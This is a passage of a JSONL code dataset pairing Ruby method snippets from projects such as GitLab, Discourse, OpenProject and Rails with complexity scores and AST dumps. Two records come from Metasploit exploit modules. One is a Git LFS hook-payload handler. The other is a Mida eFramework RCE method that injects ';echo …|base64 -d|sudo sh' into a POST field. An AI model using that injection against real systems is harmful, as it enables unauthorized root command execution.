end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"refs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nodes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"to_html\"]},\"scan\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"markdown_reference_pattern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$~\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$~\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"to_a\"]}]}]}","id":"689f46f6-d6df-42f4-83c3-13618715be0f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/base_service.rb","start_line":306,"raw_source":"def remove_approval(merge_request, user)\n      MergeRequests::RemoveApprovalService.new(project: project, current_user: user)\n        .execute(merge_request, skip_system_note: true, skip_notification: true, skip_updating_state: true)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_approval\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequests\"]},\"RemoveApprovalService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_system_note\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_notification\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_updating_state\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"b53590a1-c8e9-441f-9541-ab7815a09e0e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/environments/create_for_job_service.rb","start_line":65,"raw_source":"def matching_authorization(job)\n      return false unless cluster_agent_path(job)\n\n      requested_project_path, requested_agent_name = expanded_cluster_agent_path(job).split(':')\n\n      ci_access_authorizations_for_project(job).find do |authorization|\n        requested_project_path == authorization.config_project.full_path &&\n          requested_agent_name == authorization.agent.name &&\n          authorization.config.dig('resource_management', 'enabled') == true\n      end\n    end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_authorization\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster_agent_path\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"requested_project_path\"]},{\"type\":\"lvasgn\",\"children\":[\"requested_agent_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expanded_cluster_agent_path\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ci_access_authorizations_for_project\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"authorization\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requested_project_path\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorization\"]},\"config_project\"]},\"full_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requested_agent_name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorization\"]},\"agent\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorization\"]},\"config\"]},\"dig\",{\"type\":\"str\",\"children\":[\"resource_management\"]},{\"type\":\"str\",\"children\":[\"enabled\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"407c7eb4-216d-4906-ba5d-14c97f7aaaec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/menu.rb","start_line":132,"raw_source":"def remove_item(item)\n      remove_element(@items, item.item_id)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_element\",{\"type\":\"ivar\",\"children\":[\"@items\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"item_id\"]}]}]}","id":"72cc4145-5023-4e34-ae65-3418f1931fe4"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/thread_pool.rb","start_line":123,"raw_source":"def pool_capacity\n      waiting + (@max - spawned)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"pool_capacity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"waiting\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"spawned\"]}]}]}]}]}","id":"d942d17e-b419-4b61-bb9d-28c0a040d26b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/diff_helper.rb","start_line":352,"raw_source":"def commit_diff_whitespace_link(project, commit, options)\n    url = project_commit_path(project, commit.id, params_with_whitespace)\n    toggle_whitespace_link(url, options)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_diff_whitespace_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"commit\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"project_commit_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"id\"]},{\"type\":\"send\",\"children\":[null,\"params_with_whitespace\"]}]}]},{\"type\":\"send\",\"children\":[null,\"toggle_whitespace_link\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"faa6c60b-4250-4539-a427-f834f955a4bc"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/attachments/attachment_upload_representer.rb","start_line":135,"raw_source":"def container_representer\n          name = v3_container_name.camelcase\n\n          \"::API::V3::#{name.pluralize}::#{name}Representer\".constantize\n        rescue NameError\n          nil\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"container_representer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"v3_container_name\"]},\"camelcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::API::V3::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"pluralize\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"Representer\"]}]},\"constantize\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"46967d46-32ed-46a5-bf04-4b88988d6349"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/git_lfs_clone_command_exec.rb","start_line":210,"raw_source":"def handle_lfs_objects(req)\n    git_hook_obj = GitObject.build_blob_object(@hook_payload)\n\n    case req.method\n    when 'POST'\n      print_status('Sending payload data...')\n      response = get_batch_response(req, @git_addr, git_hook_obj)\n      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response\n    when 'GET'\n      print_status('Sending LFS object...')\n      response = get_requested_obj_response(req, git_hook_obj)\n      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response\n    else\n      fail_with(Failure::UnexpectedReply, 'Unable to handle client\\'s request')\n    end\n\n    response\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_lfs_objects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"git_hook_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitObject\"]},\"build_blob_object\",{\"type\":\"ivar\",\"children\":[\"@hook_payload\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending payload data...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get_batch_response\",{\"type\":\"lvar\",\"children\":[\"req\"]},{\"type\":\"ivar\",\"children\":[\"@git_addr\"]},{\"type\":\"lvar\",\"children\":[\"git_hook_obj\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Client request was invalid\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending LFS object...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get_requested_obj_response\",{\"type\":\"lvar\",\"children\":[\"req\"]},{\"type\":\"lvar\",\"children\":[\"git_hook_obj\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Client sent invalid request\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Unable to handle client's request\"]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"7c4444b4-99eb-42ec-85f0-d1538c989efb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/placeholder_users/delete_contract.rb","start_line":46,"raw_source":"def self.affected_projects_managed_by_actor?(placeholder_user, actor)\n      placeholder_user.projects.active.empty? ||\n        actor.allowed_in_project?(:manage_members, placeholder_user.projects.active)\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"affected_projects_managed_by_actor?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"placeholder_user\"]},{\"type\":\"arg\",\"children\":[\"actor\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"placeholder_user\"]},\"projects\"]},\"active\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actor\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"manage_members\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"placeholder_user\"]},\"projects\"]},\"active\"]}]}]}]}","id":"eb5ac3ec-cb8a-4114-b1d5-b2a99eb402d2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/models/projects/exports/formatters/budget_spent_ratio.rb","start_line":33,"raw_source":"def self.apply?(attribute, _export_format)\n      attribute.to_sym == :budget_spent_ratio\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"apply?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"_export_format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"budget_spent_ratio\"]}]}]}","id":"db337926-c13c-425a-9c0d-69b99cb18ce8"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base/generic_database.rb","start_line":33,"raw_source":"def insert_upload(upload)\n      @db.execute(<<-SQL, prepare(upload))\n        INSERT OR REPLACE INTO upload (id, user_id, original_filename,\n        filename, description, url)\n        VALUES (:id, :user_id, :original_filename,\n        :filename, :description, :url)\n      SQL\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        INSERT OR REPLACE INTO upload (id, user_id, original_filename,\\n\"]},{\"type\":\"str\",\"children\":[\"        filename, description, url)\\n\"]},{\"type\":\"str\",\"children\":[\"        VALUES (:id, :user_id, :original_filename,\\n\"]},{\"type\":\"str\",\"children\":[\"        :filename, :description, :url)\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare\",{\"type\":\"lvar\",\"children\":[\"upload\"]}]}]}]}","id":"dea28e3f-9e86-4664-8c73-859431e7036a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/callbacks_controller.rb","start_line":91,"raw_source":"def fb_object\n    @user_access_token = long_lived_token(params[:omniauth_token])\n    Koala::Facebook::API.new(@user_access_token)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fb_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user_access_token\",{\"type\":\"send\",\"children\":[null,\"long_lived_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"omniauth_token\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Koala\"]},\"Facebook\"]},\"API\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user_access_token\"]}]}]}]}","id":"95cd52c8-70ff-4e15-b8e6-e352a86922ff"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/discourse_event_helper.rb","start_line":30,"raw_source":"def track(event_name, args: nil)\n    events = track_events(event_name, args: args) { yield }\n    events.first\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"track\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"args\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"track_events\",{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"first\"]}]}]}","id":"5f51e1e6-abd5-4440-802f-dca1371af5d6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/diff_utils/hunk_diff.rb","start_line":213,"raw_source":"def append_remaining_additions(new_hunk, diff_lines, diff_lines_index)\n          diff_marker, diff_content = diff_lines[diff_lines_index]\n          while diff_marker == \"+\"\n            diff_lines_index += 1\n            new_hunk << diff_content\n            diff_marker, diff_content = diff_lines[diff_lines_index]\n          end\n        end","complexity_score":14.85,"ast_json":"{\"type\":\"def\",\"children\":[\"append_remaining_additions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_hunk\"]},{\"type\":\"arg\",\"children\":[\"diff_lines\"]},{\"type\":\"arg\",\"children\":[\"diff_lines_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_marker\"]},{\"type\":\"lvasgn\",\"children\":[\"diff_content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_lines\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"diff_lines_index\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_marker\"]},\"==\",{\"type\":\"str\",\"children\":[\"+\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_lines_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_hunk\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"diff_content\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_marker\"]},{\"type\":\"lvasgn\",\"children\":[\"diff_content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_lines\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"diff_lines_index\"]}]}]}]}]}]}]}","id":"ae8f889c-edbb-4def-a62b-fd6e89697ab6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/service.rb","start_line":36,"raw_source":"def value\n            if hash?\n              super.merge(\n                command: @config[:command],\n                alias: @config[:alias],\n                variables: (variables_value if variables_defined?)\n              ).compact\n            else\n              super\n            end\n          end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hash?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"command\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alias\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"alias\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variables\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variables_defined?\"]},{\"type\":\"send\",\"children\":[null,\"variables_value\"]},null]}]}]}]}]},\"compact\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5a24d3f9-28e6-4653-896d-ab191568bb25"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/mida_solutions_eframework_ajaxreq_rce.rb","start_line":104,"raw_source":"def execute_command(cmd, _opts = {})\n    vars_post = {\n      'DIAGNOSIS' => ['PING', 'TRACEROUTE'].sample,\n      'PARAM' => \";echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh\"\n    }\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'PDC', 'ajaxreq.php'),\n      'vars_post' => vars_post\n    }, 5)\n\n    if res && !res.body.blank?\n      vprint_status(\"Command output: #{res.body.gsub(/<br>/, \"\\n\")}\")\n    end\n\n    res\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vars_post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DIAGNOSIS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PING\"]},{\"type\":\"str\",\"children\":[\"TRACEROUTE\"]}]},\"sample\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PARAM\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\";echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"str\",\"children\":[\"|base64 -d|sudo sh\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"PDC\"]},{\"type\":\"str\",\"children\":[\"ajaxreq.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"lvar\",\"children\":[\"vars_post\"]}]}]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"blank?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Command output: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<br>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"cb8aaf2c-308b-4308-abbd-919555175298"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking/error_repository.rb","start_line":43,"raw_source":"def report_error(\n        name:, description:, actor:, platform:,\n        environment:, level:, occurred_at: Time.zone.now, payload: {}\n      )\n        strategy.report_error(\n          name: name,\n          description: description,\n          actor: actor,\n          platform: platform,\n          environment: environment,\n          level: level,\n          occurred_at: occurred_at,\n          payload: payload\n        )\n\n        nil\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"report_error\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"description\"]},{\"type\":\"kwarg\",\"children\":[\"actor\"]},{\"type\":\"kwarg\",\"children\":[\"platform\"]},{\"type\":\"kwarg\",\"children\":[\"environment\"]},{\"type\":\"kwarg\",\"children\":[\"level\"]},{\"type\":\"kwoptarg\",\"children\":[\"occurred_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"report_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actor\"]},{\"type\":\"lvar\",\"children\":[\"actor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"lvar\",\"children\":[\"environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"occurred_at\"]},{\"type\":\"lvar\",\"children\":[\"occurred_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"7a307d5d-5cf2-4840-848f-e5fd6cfd264a"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/visitor/load.rb","start_line":27,"raw_source":"def visit_call_node(node)\n        case node.name\n        when :require\n          case node.arguments.arguments[0]\n          in Prism::StringNode[unescaped:]\n            @current_loads.call[:requires] << unescaped\n          else\n            # dynamic require, like \"active_support/cache/#{store}\"\n          end\n        when :autoload\n          case node.arguments.arguments\n          in [Prism::SymbolNode[unescaped:]]\n            namespaced_const = @namespace_stack.join(\"::\")\n            namespaced_const << \"::\" << unescaped\n\n            @current_loads.call[:autoloads] << namespaced_const.underscore\n          in [Prism::SymbolNode, Prism::StringNode[unescaped:]]\n            @current_loads.call[:autoloads] << unescaped\n          end\n        end\n      